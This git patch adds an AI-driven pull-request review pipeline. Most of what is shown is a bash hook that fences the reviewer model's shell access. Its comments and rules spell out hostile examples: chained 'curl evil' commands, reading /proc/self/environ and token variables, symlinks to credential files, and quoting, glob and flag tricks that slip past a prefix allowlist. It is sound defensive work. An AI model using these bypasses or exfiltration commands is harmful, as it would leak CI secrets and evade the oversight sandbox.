From 333c2e642c9a5cdab091165c381f991aa05eb671 Mon Sep 17 00:00:00 2001 From: MichaelHabermas Date: Sat, 3 Oct 2026 19:01:14 -0400 Subject: [PATCH] ci: add automated PR review pipeline --- .github/claude/README.md | 36 + .github/claude/deny-shell-escapes.sh | 697 ++++++++++ .github/claude/deny-shell-escapes.test.sh | 451 ++++++ .github/claude/ensure-gh.sh | 25 + .github/claude/extract-usage.sh | 99 ++ .github/claude/extract-usage.test.sh | 151 +++ .../fixtures/claude-execution-output.json | 53 + .github/claude/fixtures/claude-result.json | 1 + .github/claude/load-trusted-files.sh | 263 ++++ .github/claude/load-trusted-files.test.sh | 344 +++++ .github/claude/prepare-mention-metadata.sh | 201 +++ .github/claude/prepare-metadata.test.sh | 335 +++++ .github/claude/prepare-review-inputs.sh | 339 +++++ .github/claude/prepare-review-inputs.test.sh | 536 ++++++++ .github/claude/prepare-review-metadata.sh | 122 ++ .github/claude/publish-review.sh | 465 +++++++ .github/claude/publish-review.test.sh | 501 +++++++ .github/claude/publisher-auth.mjs | 120 ++ .github/claude/publisher-auth.test.mjs | 135 ++ .github/claude/react-to-comment.sh | 39 + .github/claude/react-to-comment.test.sh | 64 + .github/claude/recompose-review-prompt.md | 31 + .github/claude/recompose-schema.json | 14 + .github/claude/rescore-prompt.md | 147 ++ .github/claude/review-outcome-gate.sh | 52 + .github/claude/review-outcome-gate.test.sh | 79 ++ .github/claude/review-prompt.md | 251 ++++ .github/claude/review-schema.json | 55 + .github/claude/review-workflow.test.mjs | 81 ++ .github/claude/settings.json | 92 ++ .github/claude/update-progress.sh | 169 +++ .github/claude/update-progress.test.sh | 322 +++++ .github/claude/update-usage-ledger.sh | 194 +++ .github/claude/update-usage-ledger.test.sh | 247 ++++ .github/claude/verdicts-schema.json | 34 + .github/claude/verify-findings-prompt.md | 50 + .github/claude/verify-published-review.sh | 39 + .../claude/verify-published-review.test.sh | 50 + .github/workflows/claude.yml | 1203 +++++++++++++++++ .github/workflows/review-bot-tests.yml | 45 + .gitignore | 3 + 41 files changed, 8135 insertions(+) create mode 100644 .github/claude/README.md create mode 100644 .github/claude/deny-shell-escapes.sh create mode 100644 .github/claude/deny-shell-escapes.test.sh create mode 100644 .github/claude/ensure-gh.sh create mode 100644 .github/claude/extract-usage.sh create mode 100644 .github/claude/extract-usage.test.sh create mode 100644 .github/claude/fixtures/claude-execution-output.json create mode 100644 .github/claude/fixtures/claude-result.json create mode 100644 .github/claude/load-trusted-files.sh create mode 100644 .github/claude/load-trusted-files.test.sh create mode 100644 .github/claude/prepare-mention-metadata.sh create mode 100644 .github/claude/prepare-metadata.test.sh create mode 100644 .github/claude/prepare-review-inputs.sh create mode 100644 .github/claude/prepare-review-inputs.test.sh create mode 100644 .github/claude/prepare-review-metadata.sh create mode 100644 .github/claude/publish-review.sh create mode 100644 .github/claude/publish-review.test.sh create mode 100644 .github/claude/publisher-auth.mjs create mode 100644 .github/claude/publisher-auth.test.mjs create mode 100644 .github/claude/react-to-comment.sh create mode 100644 .github/claude/react-to-comment.test.sh create mode 100644 .github/claude/recompose-review-prompt.md create mode 100644 .github/claude/recompose-schema.json create mode 100644 .github/claude/rescore-prompt.md create mode 100644 .github/claude/review-outcome-gate.sh create mode 100644 .github/claude/review-outcome-gate.test.sh create mode 100644 .github/claude/review-prompt.md create mode 100644 .github/claude/review-schema.json create mode 100644 .github/claude/review-workflow.test.mjs create mode 100644 .github/claude/settings.json create mode 100644 .github/claude/update-progress.sh create mode 100644 .github/claude/update-progress.test.sh create mode 100644 .github/claude/update-usage-ledger.sh create mode 100644 .github/claude/update-usage-ledger.test.sh create mode 100644 .github/claude/verdicts-schema.json create mode 100644 .github/claude/verify-findings-prompt.md create mode 100644 .github/claude/verify-published-review.sh create mode 100644 .github/claude/verify-published-review.test.sh create mode 100644 .github/workflows/claude.yml create mode 100644 .github/workflows/review-bot-tests.yml diff --git a/.github/claude/README.md b/.github/claude/README.md new file mode 100644 index 0000000..2a6fdda --- /dev/null +++ b/.github/claude/README.md @@ -0,0 +1,36 @@ +# Pull request reviews + +Ported from the Web Services review pipeline at [5dbaaf6](https://github.com/cloudastructure/web-services/commit/5dbaaf623e3bf4c80a3c9b1885c675571d044a05). Review guidance is adapted to this Python/FastAPI service. The core review helpers and regression tests are retained. Web Services reviewer routing and Slack notifications are excluded. + +## Setup + +1. Install the [Claude GitHub app](https://github.com/apps/claude) with access to `cloudastructure/rioc`. +2. Make the Actions secret `CLAUDE_CODE_OAUTH_TOKEN` available to this repository. Use the same credential source as Web Services; GitHub does not allow reading an existing Actions secret back out of that repository. RIOC had no repository-level Actions secrets when this port was prepared; organization-level secret access could not be verified. +3. Merge the workflows and bot files into `main`. Publishing validates the workflow against the default branch, and runtime helpers and prompts are restored from `origin/main`. The introducing PR's automatic review skips with an explicit workflow summary until those trusted files exist on `main`. + +Optional Actions variables `CLAUDE_REVIEW_MODEL` and `CLAUDE_REVIEW_EFFORT` override the source defaults (`claude-opus-5` and `high`). Jobs run on GitHub-hosted Ubuntu runners with Node 24 for publishing. + +## Behavior + +- Automatically review non-draft PRs on opening or marking ready. Automatic fork reviews, Dependabot PRs, and bots other than `claude[bot]` are skipped. +- Pushes do not automatically run another review. Repository owners, members, and collaborators can comment `@claude` for a follow-up, including on fork PRs. Bot-authored mentions and outside participants' mentions are ignored. +- The Actions **Claude Code** workflow can also be dispatched with a PR number after setup. +- Publish a sticky review with a score out of five, commit SHA, and inline findings. A second pass verifies findings, and recomposition removes rejected findings from the summary. Incomplete verification is marked explicitly. +- Keep progress and usage comments current and reject stale follow-up requests. Every review identifies the captured head SHA; a push during a review requires a follow-up for the new commit. +- Reviews are advisory. An infrastructure failure or skipped bootstrap review is not an approval. +- Review jobs serialize per PR. The active job finishes; GitHub retains the newest pending request. + +## Validation + +Run the same regression checks as **Review Bot Tests**: + +```bash +node --test .github/claude/*.test.mjs +for file in .github/claude/*.sh; do + bash -n "$file" + shellcheck -S warning "$file" +done +for file in .github/claude/*.test.sh; do bash "$file"; done +``` + +After setup, open a small PR and confirm the review and score name its current head SHA. Push a change and request another review with `@claude`; confirm the sticky review updates and findings are verified before publishing. Check failure summaries and incomplete markers when any stage fails. Live review verification on the introducing PR is blocked because its trusted runtime is not on `main` yet. diff --git a/.github/claude/deny-shell-escapes.sh b/.github/claude/deny-shell-escapes.sh new file mode 100644 index 0000000..70f593c --- /dev/null +++ b/.github/claude/deny-shell-escapes.sh @@ -0,0 +1,697 @@ +#!/usr/bin/env bash +# PreToolUse hook on the Bash tool: refuse a command that could write a file or +# run a program the permission allowlist never named. +# +# Three layers, and this is the middle one: +# +# 1. settings.json's permissions.allow bounds WHICH commands run at all. +# 2. This hook bounds what an allowed command can DO with the filesystem, with +# the environment, and with a second command — +# `permissions.allow` matches a command PREFIX, so `Bash(sort:*)` admits +# `sort file -o out` and `Bash(cat:*)` admits `cat pr.json; curl evil`; a +# prefix pattern cannot see a flag, a redirect, or an operator that comes +# later. +# 3. Every post-model step runs from $RUNNER_TEMP/claude-trusted rather than +# the working tree, so even a write that gets through changes nothing the +# workflow later executes (see load-trusted-files.sh). +# +# Why a hook rather than more deny patterns: `Bash(sort -o:*)` only matches when +# the flag is the FIRST argument, which is the one place a model would not put +# it. The hook sees the whole command string. +# +# Hooks are safe to switch on here even though a PR can carry its own +# .claude/settings.json: load-trusted-files.sh restores that file from +# origin/main before the model runs, and main's copy declares only +# `permissions.deny` — no hooks at all (verified 2026-09-02 against +# `git show origin/main:.claude/settings.json`). So the only hook that runs in +# CI is this one. +# +# WHY THE RULES READ A NORMALIZED FORM, NOT THE RAW STRING +# +# A substring arm such as `*'/home/'*` matches the characters the model typed, +# and bash does not run the characters the model typed: it runs the WORD LIST +# left after quote removal and backslash-escape processing. `cat +# /hom\e/runner/.claud\e/.credential\s.json` and `cat /ho""me/runner/.creden""tials` +# both open the same files that `/home/` and `.credentials` are meant to fence +# off, and neither one contains either literal. So `normalize` below walks the +# command once and produces the word list bash would see; every substring and +# regex rule then reads those words joined by single spaces. +# +# Four kinds of rule must still read the RAW string, because normalization would +# destroy exactly what they look for: a bare newline, a control operator, `$(` +# and a backtick (each of which is a second command, not a word), and the +# unquoted-metacharacter scan (whose whole subject is whether a character was +# quoted). +# +# Contract (verified 2026-09-02 against the CLI binary, 2.1.258): +# stdin JSON with `tool_name` and, for Bash, `tool_input.command`. The CLI's +# own documented example for a Bash PreToolUse hook reads exactly +# `jq -r '.tool_input.command'`. +# exit 0 allow, exit 2 "show stderr to model and block tool call". +# +# Fail-open on a payload this cannot parse: the CLI writes that payload, not the +# PR, and an unreadable one is a harness problem. Wedging every Bash call over +# it would take the review down while the allowlist is still in force. +set -uo pipefail + +PAYLOAD=$(cat) + +TOOL=$(printf '%s' "$PAYLOAD" | jq -r '.tool_name // empty' 2>/dev/null || echo "") +[ "$TOOL" = "Bash" ] || exit 0 + +CMD=$(printf '%s' "$PAYLOAD" | jq -r '.tool_input.command // empty' 2>/dev/null || echo "") +[ -n "$CMD" ] || exit 0 + +# A backslash immediately before a newline is a line continuation: the shell +# joins the two lines into ONE command, so it is whitespace here too. Every rule +# below reads the joined form; a BARE newline still starts a second command and +# is still refused. +CMD=${CMD//\\$'\n'/ } + +deny() { + printf 'Blocked by the reviewer sandbox: %s. Read the file instead; this review never needs to write one.\n' "$1" >&2 + exit 2 +} + +# --------------------------------------------------------------------------- +# Raw-string rules. Everything here is about a character bash has NOT yet turned +# into part of a word, so the raw command is the only correct subject. +# --------------------------------------------------------------------------- + +# Redirects and here-docs write files; process substitution and command +# substitution run a second command the permission check may never see as its +# own segment. +case "$CMD" in + *'>'*) deny "'>' redirects output to a file" ;; + *'<'*) deny "'<' reads or here-docs into a command" ;; + *'$('*) deny "'\$(' is command substitution" ;; + *'`'*) deny "a backtick is command substitution" ;; +esac + +# Control operators, checked before anything splits the string. Each one starts +# a SECOND command that the permission allowlist never sees as its own prefix: +# `cat pr.json; curl evil` is admitted by `Bash(cat:*)` in full. `|` is the one +# exception and is handled below, because a pipeline of read-only commands is +# how the review reads a long file. +NL=' +' +case "$CMD" in + *';'*) deny "';' starts a second command" ;; + *'&&'*) deny "'&&' starts a second command" ;; + *'||'*) deny "'||' starts a second command" ;; + *'|&'*) deny "'|&' pipes stderr into a second command" ;; + *'&'*) deny "'&' backgrounds a command" ;; + *"$NL"*) deny "a newline starts a second command" ;; +esac + +# --------------------------------------------------------------------------- +# Normalization: the word list bash would see. +# --------------------------------------------------------------------------- + +allowed_var() { + # The only variables the review's own prompts expand: $REVIEW_IN and + # $REVIEW_OUT, the two directories the workflow hands the model. Everything + # else the review used to interpolate — the PR number, the head sha, the + # commit message, the trigger comment — now arrives as a FILE under + # $REVIEW_IN, so no command needs to name it. Two of those were + # attacker-controlled strings besides. + # + # Every other $NAME and ${...} is refused: $HOME, $OLDPWD or ${PATH##*:} all + # name a path outside the checkout that no literal arm below can match. + case "$1" in + REVIEW_IN | REVIEW_OUT) return 0 ;; + esac + return 1 +} + +# The first metacharacter found, reported after the walk so the substring rules +# above it keep their precedence. +META_DENY='' +note_meta() { [ -n "$META_DENY" ] || META_DENY=$1; } + +# Filled by `normalize`. +WORDS=() # every word, in order, after quote removal and escape processing +WORD_SEG=() # the pipeline segment each word belongs to +WORD_GLOB=() # per word: the message for its first UNQUOTED glob character, or '' +SEGMENTS=() # each segment's words, joined by single spaces + +N_WORD='' # the word being built +N_STARTED=0 # a word has begun (so `cat ''` is an empty word, not no word) +N_GLOB='' # deny message for the first unquoted glob character in this word +N_SEG='' # the current segment's words so far +N_SEGFIRST=1 +N_SEGI=0 + +n_add() { + N_WORD=$N_WORD$1 + N_STARTED=1 +} + +n_end_word() { + [ "$N_STARTED" = 1 ] || return 0 + # An unquoted glob is only safe where it cannot escape the checkout. A + # RELATIVE word with no '..' segment expands under the working directory and + # nowhere else, which is how a model spells a search: `ls src/components/*`, + # `rg -n foo src -g *.ts`. An absolute word, a '~' word or one climbing with + # '..' could assemble any path out of characters the literal arms cannot see + # (`cat /home*/runner/.cla*ude/.credential*`), so it fails closed. + if [ -n "$N_GLOB" ]; then + case $N_WORD in + /* | '~'* | '..' | '../'* | *'/../'* | *'/..') note_meta "$N_GLOB" ;; + esac + fi + WORDS+=("$N_WORD") + WORD_SEG+=("$N_SEGI") + WORD_GLOB+=("$N_GLOB") + if [ "$N_SEGFIRST" = 1 ]; then + N_SEG=$N_WORD + N_SEGFIRST=0 + else + N_SEG="$N_SEG $N_WORD" + fi + N_WORD='' + N_STARTED=0 + N_GLOB='' +} + +n_end_segment() { + n_end_word + SEGMENTS+=("$N_SEG") + N_SEG='' + N_SEGFIRST=1 + N_SEGI=$((N_SEGI + 1)) +} + +# One walker does three jobs, and it models the three states bash has: outside +# single quotes a backslash escapes the next character, inside single quotes +# nothing escapes, and each quote character is literal inside the other. A +# walker that only toggled on a quote character desyncs from bash on +# `grep "a\"b" f | nl`, which then reaches bash with a second command in it. +# +# Job one is the word list itself: quote characters are dropped, `\x` outside +# single quotes becomes `x`, and `""` / `''` vanish without breaking the word, +# so `/ho""me` and `/hom\e` both normalize to `/home`. +# +# Job two is splitting a pipeline. Only an UNQUOTED '|' separates two commands. +# `grep -v "node_modules\|\.git"` is one command whose argument happens to +# contain a pipe, and splitting on it would refuse the review's own cross-file +# search on a segment starting `\.git"`. +# +# Job three is noting an UNQUOTED expansion metacharacter, because every path +# arm below matches LITERAL text while an expansion assembles a path out of +# characters the arm cannot see. Quoted metacharacters stay allowed +# (`--include="*.ts"`, `grep "foo[0-9]"`), and so does a backslash-escaped one +# outside quotes (`\*`), which bash already passes through as a literal. +# +# A backslash inside double quotes is dropped here even where bash would keep it +# (bash keeps `\n` in `"a\nb"`). That direction is fail-closed: it can only +# reveal a path such as `"/ho\me/"`, never hide one. +normalize() { + local s=$1 i=0 ch rest name quote='' tab + tab=$(printf '\t') + WORDS=() + WORD_SEG=() + WORD_GLOB=() + SEGMENTS=() + N_WORD='' + N_STARTED=0 + N_GLOB='' + N_SEG='' + N_SEGFIRST=1 + N_SEGI=0 + while [ "$i" -lt "${#s}" ]; do + ch=${s:i:1} + # Inside single quotes every other character is literal, backslash included. + if [ "$quote" = "'" ]; then + if [ "$ch" = "'" ]; then quote=''; N_STARTED=1; else n_add "$ch"; fi + i=$((i + 1)) + continue + fi + # Outside single quotes a backslash escapes the next character, whatever it + # is: a quote, a pipe or a metacharacter. Consume both, keep the second. + if [ "$ch" = '\' ]; then + n_add "${s:i+1:1}" + i=$((i + 2)) + continue + fi + # A parameter expansion is read in the unquoted AND the double-quoted state, + # because `cat "$HOME/x"` leaves the checkout exactly as `cat $HOME/x` does. + # '$(' is command substitution and is already refused above. The word keeps + # `$NAME` so the literal arms can still see `$HOME`. + if [ "$ch" = '$' ]; then + rest=${s:i+1} + case $rest in + '{'*) + name=${rest#\{} + case $name in + *'}'*) name=${name%%\}*} ;; + *) name='' ;; + esac + allowed_var "$name" || note_meta "\${$name} expands a variable" + i=$((i + 3 + ${#name})) + ;; + [A-Za-z_]*) + name=${rest%%[!A-Za-z0-9_]*} + allowed_var "$name" || note_meta "\$$name expands a variable" + i=$((i + 1 + ${#name})) + ;; + *) + name='' + note_meta "'\$' expands a value" + i=$((i + 1)) + ;; + esac + n_add "\$$name" + continue + fi + # Inside double quotes a metacharacter is literal and "'" is an ordinary + # character; only the closing '"' does anything. + if [ -n "$quote" ]; then + if [ "$ch" = '"' ]; then quote=''; N_STARTED=1; else n_add "$ch"; fi + i=$((i + 1)) + continue + fi + case $ch in + "'" | '"') quote=$ch; N_STARTED=1 ;; + '|') + n_end_segment + i=$((i + 1)) + continue ;; + ' ' | "$tab") + n_end_word + i=$((i + 1)) + continue ;; + '*' | '?' | '[') + [ -n "$N_GLOB" ] || N_GLOB="'$ch' is a glob that names a file this command does not spell" + n_add "$ch" ;; + '{' | '}') + note_meta "'$ch' is a brace expansion" + n_add "$ch" ;; + # bash expands a tilde only at the START of a word (and after a ':' or an + # '=' inside one), so `git diff HEAD~1` is a revision, not a home + # directory, and the review runs it. + '~') + if [ "$N_STARTED" = 0 ]; then + note_meta "'~' expands to a home directory" + else + case $N_WORD in + *= | *:) note_meta "'~' expands to a home directory" ;; + esac + fi + n_add "$ch" ;; + *) n_add "$ch" ;; + esac + i=$((i + 1)) + done + n_end_segment +} + +normalize "$CMD" + +# The normalized command: every word bash would see, joined by single spaces, +# with the pipeline separators kept so a rule cannot match across two commands +# any more freely than it did on the raw string. +NORM=${SEGMENTS[0]} +for ((i = 1; i < ${#SEGMENTS[@]}; i++)); do + NORM="$NORM | ${SEGMENTS[i]}" +done + +matches() { printf '%s' "$NORM" | grep -Eq "$1"; } + +# The first and second word of each segment: the command word, and the git +# subcommand where there is one. +SEG_W0=() +SEG_W1=() +SEG_N=() +for ((i = 0; i < ${#SEGMENTS[@]}; i++)); do + SEG_W0+=('') + SEG_W1+=('') + SEG_N+=(0) +done +for ((i = 0; i < ${#WORDS[@]}; i++)); do + s=${WORD_SEG[i]} + case ${SEG_N[s]} in + 0) SEG_W0[s]=${WORDS[i]} ;; + 1) SEG_W1[s]=${WORDS[i]} ;; + esac + SEG_N[s]=$((SEG_N[s] + 1)) +done + +# A literal '--' ends option parsing for the REST of its pipeline segment: every +# later word is an OPERAND, however it starts. `cat -- -leak.md` opens +# './-leak.md', so a resolution loop that reads a leading '-' as a flag that +# names no file refuses `cat ./-leak.md` and passes the same file through here. +# Recorded per word, because the '--' applies only inside its own segment. +WORD_OPERAND=() +DD_SEEN=() +for ((i = 0; i < ${#SEGMENTS[@]}; i++)); do + DD_SEEN+=(0) +done +for ((i = 0; i < ${#WORDS[@]}; i++)); do + s=${WORD_SEG[i]} + WORD_OPERAND+=("${DD_SEEN[s]}") + if [ "${WORDS[i]}" = '--' ]; then DD_SEEN[s]=1; fi +done + +# --------------------------------------------------------------------------- +# Rules on the normalized form. +# --------------------------------------------------------------------------- + +# Reading a credential is the same loss as writing a file, and the review runs +# beside GH_TOKEN, GITHUB_TOKEN and CLAUDE_CODE_OAUTH_TOKEN: the action exports +# all three into the CLI's environment whatever the step declares. `.git/` is +# here because git's own read commands never spell the directory — `cat +# .git/config` is the leak path, since actions/checkout persists the job token +# there as an http..extraheader. +case "$NORM" in + *TOKEN*) deny "the command names TOKEN" ;; + *SECRET*) deny "the command names SECRET" ;; + *_KEY*) deny "the command names _KEY" ;; + *PASSWORD*) deny "the command names PASSWORD" ;; + *printenv*) deny "printenv reads the environment" ;; + */proc/*) deny "/proc/ exposes the process environment" ;; + *'declare -p'*) deny "declare -p dumps variables" ;; + *'export -p'*) deny "export -p dumps the environment" ;; + *'set -o'*) deny "set -o dumps shell state" ;; + *'.git/'*) deny "'.git/' is where the checkout persists the job token" ;; +esac + +# Nothing this review reads lives outside the checkout, and the paths that hold +# a credential all do: the CLI's own token file, gh's stored token, any +# home-directory dotfile. The Read tool has its own deny rules for these +# (settings.json permissions.deny); this is the same fence for Bash. +# +# These arms name the HOME DIRECTORY, not a directory name that also exists in +# the checkout: `.claude/` and `.config/` are ordinary tracked directories here +# and PRs change them, so an arm on either refuses the review's own reading of +# the files under review. What still closes the hole is the absolute-path rule +# below plus the metacharacter rule: with every absolute word but `/dev/null` +# refused, no command can reach a home directory at all. +case "$NORM" in + *'~/'*) deny "'~/' reaches outside the checkout" ;; + *'$HOME'*) deny "\$HOME reaches outside the checkout" ;; + *'${HOME'*) deny "\${HOME reaches outside the checkout" ;; + *'/home/'*) deny "'/home/' reaches outside the checkout" ;; + *'/root/'*) deny "'/root/' reaches outside the checkout" ;; + *'.credentials'*) deny "'.credentials' is a credential file" ;; +esac + +# `environ` is a whole word, not a substring: `/proc/self/environ` is the leak +# path, `grep -rn environment src` is a search the review makes. A '/' or a '.' +# is a boundary here, so a path still matches. +if matches '(^|[^[:alnum:]_-])environ([^[:alnum:]_-]|$)'; then + deny "'environ' reads the process environment" +fi + +# jq is allowlisted and reaches the same data as printenv: `jq -n env` dumps +# every variable and `jq -rn '$ENV.GH_TOKEN'` reads one. Both halves are +# required, and `env` is a whole word bounded the way a command word is, so +# `grep -rn environment src`, `rg envelope .` and a path argument such as +# `src/env.ts` are untouched. +if matches '(^|[^[:alnum:]_/.-])jq([^[:alnum:]_/.-]|$)' && + { matches '(^|[^[:alnum:]_/.-])env([^[:alnum:]_/.-]|$)' || matches '\$ENV'; }; then + deny "jq reads the environment through env / \$ENV" +fi + +# Flags that write a file or run a program, checked WORD BY WORD rather than by +# a regex over the string. A regex has to guess at the separator after the flag +# and so misses the attached spellings a short option accepts — `sort file +# -oout.sh`, `git grep p -O/bin/sh`, `rg p --pre/bin/sh` — and a clustered short +# option (`sort -uo out`) misses it again. A word test sees all of them: no +# argument of these commands legitimately starts with the flag. The prefixes are +# deliberately blunt — `--pre*` also refuses rg's `--pretty`, which a piped CI +# review has no use for, and refusing one flag too many is the safe direction. +for ((i = 0; i < ${#WORDS[@]}; i++)); do + w=${WORDS[i]} + s=${WORD_SEG[i]} + case $w in + --compress-program*) deny "--compress-program runs a program of its own" ;; + esac + case ${SEG_W0[s]} in + sort) + case $w in + -o* | -[A-Za-z]*o* | --output*) deny "sort -o / --output writes a file" ;; + esac ;; + rg) + case $w in + --pre* | --search-zip* | -z* | -[A-Za-z]*z*) deny "rg --pre / --search-zip / -z runs a program per file" ;; + esac ;; + git) + case $w in + --output*) deny "git --output writes a file" ;; + esac + if [ "${SEG_W1[s]}" = "grep" ]; then + case $w in + -O* | -[A-Za-z]*O* | --open-files-in-pager*) deny "git grep -O / --open-files-in-pager runs a program of its own" ;; + esac + fi ;; + esac +done + +[ -z "$META_DENY" ] || deny "$META_DENY" + +# The review reads the checkout and the two directories the workflow hands it, +# and it spells those two in either of two forms: as $REVIEW_IN / $REVIEW_OUT, +# which allowed_var admits, or as the literal absolute path the workflow +# substituted into the prompts — the Read tool cannot expand a variable, so the +# prompts carry the value and the model types it in Bash too. So a legitimate +# word starts with '/' only for `/dev/null` or under one of those two +# directories, and none climbs out with '..'. Denying the rest is what makes a +# relative glob safe above: it can only expand inside the checkout. +# +# The literal exemption is a PREFIX on the word, so it buys nothing on its own: +# the '..' rule below still applies to the word, and the resolution rule after +# it still follows the word to its target. +review_dir_word() { + local d + for d in "${REVIEW_IN:-}" "${REVIEW_OUT:-}"; do + [ -n "$d" ] || continue + case "$1" in + "$d" | "$d"/*) return 0 ;; + esac + done + return 1 +} + +for ((i = 0; i < ${#WORDS[@]}; i++)); do + w=${WORDS[i]} + case $w in + /dev/null) continue ;; + /*) review_dir_word "$w" || + deny "'$w' is an absolute path; this review reads only the checkout and \$REVIEW_IN" ;; + esac + case $w in + '..' | '../'* | *'/../'* | *'/..') + deny "'$w' climbs out of the checkout with '..'" ;; + esac +done + +# --------------------------------------------------------------------------- +# The word is not the file. +# --------------------------------------------------------------------------- +# +# Every rule above reads the word the model typed, and `link` is four ordinary +# characters with nothing outside the checkout in them. The PR under review +# writes the tree those words resolve in, so it can commit +# `link -> /var/run/secrets/kubernetes.io/serviceaccount/token` and `cat link` +# reads the credential through a path this hook never sees. The rules read the +# word; the kernel reads the target. +# +# So a word that names something on disk relative to the hook's working +# directory (the checkout — the hook runs with the CLI's cwd) is resolved +# through its symlinks, and the target has to land inside the checkout root, or +# inside $REVIEW_IN / $REVIEW_OUT when the workflow set them. +# +# A word that names nothing on disk is skipped: the string rules above already +# judged it, and it cannot be read either way. So is a word carrying an +# expansion this hook cannot perform — a '$', a '~', a brace — or a leading +# '-' with no '--' before it in its segment, which keeps this to one stat per +# plain path argument and one per post-'--' operand. A word carrying an +# unquoted glob IS expanded here and every pathname it names is resolved, since +# bash expands it before the command runs. Absolute words never reach here — the +# loop above refuses every one but /dev/null, which is not a path in the +# checkout to begin with. +# +# This is the second layer: load-trusted-files.sh deletes an out-of-tree symlink +# before the model runs, and this refuses one that survives. + +# The runner has GNU coreutils, so `readlink -f` is the path taken in CI. The +# two fallbacks are for a developer running the test suite on macOS, where +# `readlink` may predate -f and `realpath` may not be installed at all. +resolve_walk() { + local p=$1 dir base target hops=0 + while [ "$hops" -lt 40 ]; do + if [ -d "$p" ] && [ ! -L "$p" ]; then + (cd -P -- "$p" 2> /dev/null && pwd -P) || return 1 + return 0 + fi + dir=$(dirname -- "$p") + base=$(basename -- "$p") + dir=$(cd -P -- "$dir" 2> /dev/null && pwd -P) || return 1 + p="$dir/$base" + [ -L "$p" ] || break + target=$(readlink -- "$p") || return 1 + case $target in + /*) p=$target ;; + *) p="$dir/$target" ;; + esac + hops=$((hops + 1)) + done + printf '%s' "$p" +} + +resolve_path() { + local out + if out=$(readlink -f -- "$1" 2> /dev/null) && [ -n "$out" ]; then + printf '%s' "$out" + return 0 + fi + if out=$(realpath -- "$1" 2> /dev/null) && [ -n "$out" ]; then + printf '%s' "$out" + return 0 + fi + resolve_walk "$1" +} + +# One newline-joined list, built once and only if some word needs it: the +# checkout root, then the two directories the workflow hands the model. Each is +# resolved the same way the target is, because a root reached through a symlink +# (macOS spells $TMPDIR under /var, which is a link to /private/var) would +# otherwise contain nothing. +ALLOWED_ROOTS='' +init_allowed_roots() { + [ -z "$ALLOWED_ROOTS" ] || return 0 + local top d r + top=$(git rev-parse --show-toplevel 2> /dev/null) || top='' + [ -n "$top" ] || top=$PWD + ALLOWED_ROOTS=$(resolve_path "$top") || ALLOWED_ROOTS=$top + for d in "${REVIEW_IN:-}" "${REVIEW_OUT:-}"; do + [ -n "$d" ] && [ -e "$d" ] || continue + r=$(resolve_path "$d") || r=$d + [ -n "$r" ] || continue + ALLOWED_ROOTS="$ALLOWED_ROOTS +$r" + done +} + +inside_allowed() { + local root + while IFS= read -r root; do + [ -n "$root" ] || continue + case "$1" in + "$root" | "$root"/*) return 0 ;; + esac + done <<< "$ALLOWED_ROOTS" + return 1 +} + +# One resolution. `label` is what a refusal names: the word itself, or — for a +# glob — the pathname the pattern expanded to, since that is the file the +# command opens and the word does not contain it. +check_resolves_inside() { + local w=$1 label=$2 target + [ -e "$w" ] || [ -L "$w" ] || return 0 + target=$(resolve_path "$w") || return 0 + [ -n "$target" ] || return 0 + init_allowed_roots + inside_allowed "$target" && return 0 + deny "refuses $label: resolves outside the checkout ($target)" +} + +# bash expands a relative glob BEFORE the command runs, and not one of the names +# it produces is in the word: `cat web-ui/src/assets/notes.md` is refused for a +# link out of the tree, while `cat web-ui/src/assets/*.md` opens the same file +# through a word with no 'notes.md' in it. So expand the pattern the way bash +# would and resolve every match. +# +# The expansion is an array assignment under `nullglob` rather than +# `compgen -G`: compgen's output is newline-joined, so a committed filename +# carrying a newline would split into pieces that name nothing and skip the +# check. IFS is emptied so a name with a space stays one element, and the +# expansion is unquoted because a quoted one does not glob. A pattern that +# matches nothing yields no words, which is also what bash does with it: it +# passes the pattern through literally, and the string rules above judged it. +GLOB_MATCHES=() +glob_matches() { + local had=0 IFS='' + shopt -q nullglob && had=1 + shopt -s nullglob + # shellcheck disable=SC2206 # unquoted on purpose: this line IS the expansion + GLOB_MATCHES=($1) + [ "$had" = 1 ] || shopt -u nullglob +} + +# Every match costs a stat and a resolution, and a pattern that names this many +# files is not a command a review runs. +GLOB_MAX=500 + +for ((i = 0; i < ${#WORDS[@]}; i++)); do + w=${WORDS[i]} + case $w in + '') continue ;; + # A '-' word is a flag and names no file — unless a literal '--' came + # earlier in its segment, which makes it an operand the command opens. + -*) [ "${WORD_OPERAND[i]}" = 1 ] || continue ;; + # Every absolute word but a $REVIEW_IN / $REVIEW_OUT one is already refused + # above; those two are followed here like any other path. + /*) review_dir_word "$w" || continue ;; + esac + # An expansion this hook cannot perform: a brace is refused outright above, + # and a '~' or a '$' that got this far is a revision (`HEAD~1`) or one of the + # two allowed variables, whose value the hook does not hold. + case $w in + *'{'* | *'}'* | *'~'* | *'$'*) continue ;; + esac + if [ -n "${WORD_GLOB[i]}" ]; then + glob_matches "$w" + if [ "${#GLOB_MATCHES[@]}" -gt "$GLOB_MAX" ]; then + deny "'$w' expands to ${#GLOB_MATCHES[@]} paths, past the $GLOB_MAX this review resolves at once" + fi + if [ "${#GLOB_MATCHES[@]}" -gt 0 ]; then + for m in "${GLOB_MATCHES[@]}"; do + check_resolves_inside "$m" "$m" + done + fi + continue + fi + # A glob character that was QUOTED is a literal argument to bash, not a + # pattern: there is nothing to expand and the word names no file. + case $w in + *'*'* | *'?'* | *'['*) continue ;; + esac + check_resolves_inside "$w" "$w" +done + +# Every segment of a pipeline, not just the first: `cat x | curl evil` is +# admitted by `Bash(cat:*)`, which matches the PREFIX and stops reading there. +# A leading redirect cannot appear in a segment, because '>' and '<' are already +# refused above, so the first word is the command word. +allowed_word() { + case "$1" in + git | grep | rg | cat | head | tail | wc | ls | jq | sort | cut | tr | diff | test | true | false) + return 0 ;; + esac + return 1 +} + +# echo and printf are refused outright rather than listed: the model has a read +# tool, so it never needs to print a string, and both are the shortest path from +# a value the model holds to the run log. +for ((i = 0; i < ${#SEGMENTS[@]}; i++)); do + word=${SEG_W0[i]} + case "$word" in + echo | printf) deny "$word prints a value; read the file instead" ;; + esac + if ! allowed_word "$word"; then + deny "'${word:-}' is not one of the commands this review may run" + fi + if [ "$word" = "git" ]; then + sub=${SEG_W1[i]} + case "$sub" in + diff | log | show | grep | blame | ls-files | status | rev-parse) : ;; + *) deny "'git ${sub:-}' is not one of the read-only git subcommands" ;; + esac + fi +done + +exit 0 diff --git a/.github/claude/deny-shell-escapes.test.sh b/.github/claude/deny-shell-escapes.test.sh new file mode 100644 index 0000000..12e2e76 --- /dev/null +++ b/.github/claude/deny-shell-escapes.test.sh @@ -0,0 +1,451 @@ +#!/usr/bin/env bash +# Tests for deny-shell-escapes.sh, the PreToolUse hook on the Bash tool. 